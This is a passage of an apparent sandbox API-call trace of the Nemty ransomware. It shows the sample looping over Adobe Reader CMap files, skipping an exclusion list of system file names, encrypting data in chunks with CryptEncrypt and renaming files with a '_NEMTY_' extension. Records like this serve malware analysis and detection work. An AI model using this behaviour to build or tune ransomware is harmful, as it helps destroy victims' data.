nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.041] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.047] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.047] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0212.047] CloseHandle (hObject=0xffffffff) returned 0 [0212.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0212.047] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0212.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0212.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0212.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0212.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0212.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0212.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0212.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0212.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0212.048] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UCS2-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unigb-ucs2-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UCS2-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unigb-ucs2-v._nemty_kgobjgd_")) returned 0 [0212.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0212.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0212.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0212.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0212.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0212.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0212.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0212.048] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3453e, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniGB-UTF16-H", cAlternateFileName="UNIGB-~4")) returned 1 [0212.048] lstrcmpiW (lpString1="UniGB-UTF16-H", lpString2=".") returned 1 [0212.048] lstrcmpiW (lpString1="UniGB-UTF16-H", lpString2="..") returned 1 [0212.048] lstrcmpiW (lpString1="UniGB-UTF16-H", lpString2="...") returned 1 [0212.048] lstrcmpiW (lpString1="UniGB-UTF16-H", lpString2="windows") returned -1 [0212.048] lstrcmpiW (lpString1="UniGB-UTF16-H", lpString2="$RECYCLE.BIN") returned 1 [0212.048] lstrcmpiW (lpString1="UniGB-UTF16-H", lpString2="rsa") returned 1 [0212.048] lstrcmpiW (lpString1="UniGB-UTF16-H", lpString2="NTDETECT.COM") returned 1 [0212.048] lstrcmpiW (lpString1="UniGB-UTF16-H", lpString2="ntldr") returned 1 [0212.048] lstrcmpiW (lpString1="UniGB-UTF16-H", lpString2="MSDOS.SYS") returned 1 [0212.049] lstrcmpiW (lpString1="UniGB-UTF16-H", lpString2="IO.SYS") returned 1 [0212.049] lstrcmpiW (lpString1="UniGB-UTF16-H", lpString2="boot.ini") returned 1 [0212.049] lstrcmpiW (lpString1="UniGB-UTF16-H", lpString2="boot.ini") returned 1 [0212.049] lstrcmpiW (lpString1="UniGB-UTF16-H", lpString2="AUTOEXEC.BAT") returned 1 [0212.049] lstrcmpiW (lpString1="UniGB-UTF16-H", lpString2="ntuser.dat") returned 1 [0212.049] lstrcmpiW (lpString1="UniGB-UTF16-H", lpString2="desktop.ini") returned 1 [0212.049] lstrcmpiW (lpString1="UniGB-UTF16-H", lpString2="CONFIG.SYS") returned 1 [0212.049] lstrcmpiW (lpString1="UniGB-UTF16-H", lpString2="RECYCLER") returned 1 [0212.049] lstrcmpiW (lpString1="UniGB-UTF16-H", lpString2="BOOTSECT.BAK") returned 1 [0212.049] lstrcmpiW (lpString1="UniGB-UTF16-H", lpString2="bootmgr") returned 1 [0212.049] lstrcmpiW (lpString1="UniGB-UTF16-H", lpString2="programdata") returned 1 [0212.049] lstrcmpiW (lpString1="UniGB-UTF16-H", lpString2="appdata") returned 1 [0212.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UTF16-H", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0212.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UTF16-H", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniGB-UTF16-H", lpUsedDefaultChar=0x0) returned 13 [0212.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0212.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UTF16-H", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0212.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UTF16-H", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniGB-UTF16-H", lpUsedDefaultChar=0x0) returned 13 [0212.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0212.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UTF16-H", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0212.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UTF16-H", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniGB-UTF16-H", lpUsedDefaultChar=0x0) returned 13 [0212.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UTF16-H", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0212.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UTF16-H", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniGB-UTF16-H", lpUsedDefaultChar=0x0) returned 13 [0212.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0212.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0212.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0212.049] Sleep (dwMilliseconds=0x5) [0212.064] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x3209a710, dwHighDateTime=0x1d561e8)) [0212.064] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x3209a710, dwHighDateTime=0x1d561e8)) [0212.064] GetLastError () returned 0x5 [0212.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0212.064] GetLastError () returned 0x5 [0212.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0212.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0212.064] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0212.064] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0212.065] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0212.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0212.065] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="fMwpehVOSm6BivNRVi9G6/jiuQYuMzediZmWS1IazoGfpfXO3v010Vv/1EUIx90s\r\nMsVQF54lawO8OXUrQm6VsRKI+ngGdW3qsiOjarJTqOsknQ2zRzwPbF+I94gp8/gg\r\nCjrfUlVuc5kq+CjX5k14fU1yAshw/4eTONelCvuhlt9+0IYFqL0OkLXxctaQhlbH\r\nm3YeERShRmYX10UJCxCk/L23+SG1469dMVHo4erxj1lPI4Kg1APHEcLyGt6bwj6r\r\n5CcFcgGTsXLvfcueXC3ydy51Um0wbJE9608f3Wb1JHxLI7xnn8H+G6imNHeYHkoB\r\n2OMvSCLmI0ZNlQiGNhKBWg==\r\n", pcchString=0x653e91c) returned 1 [0212.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0212.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0212.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0212.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0212.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0212.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0212.065] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UTF16-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unigb-utf16-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0212.065] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0212.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0212.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.065] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.074] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.075] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.084] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.084] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.093] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.093] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.093] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.093] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.103] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.103] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.112] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.112] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.122] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.122] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.131] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.131] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.141] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.141] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.150] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.150] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.160] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.160] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.166] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.166] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.172] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.172] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.172] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.172] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0212.172] CloseHandle (hObject=0xffffffff) returned 0 [0212.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0212.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0212.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0212.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0212.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0212.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0212.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0212.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0212.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0212.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 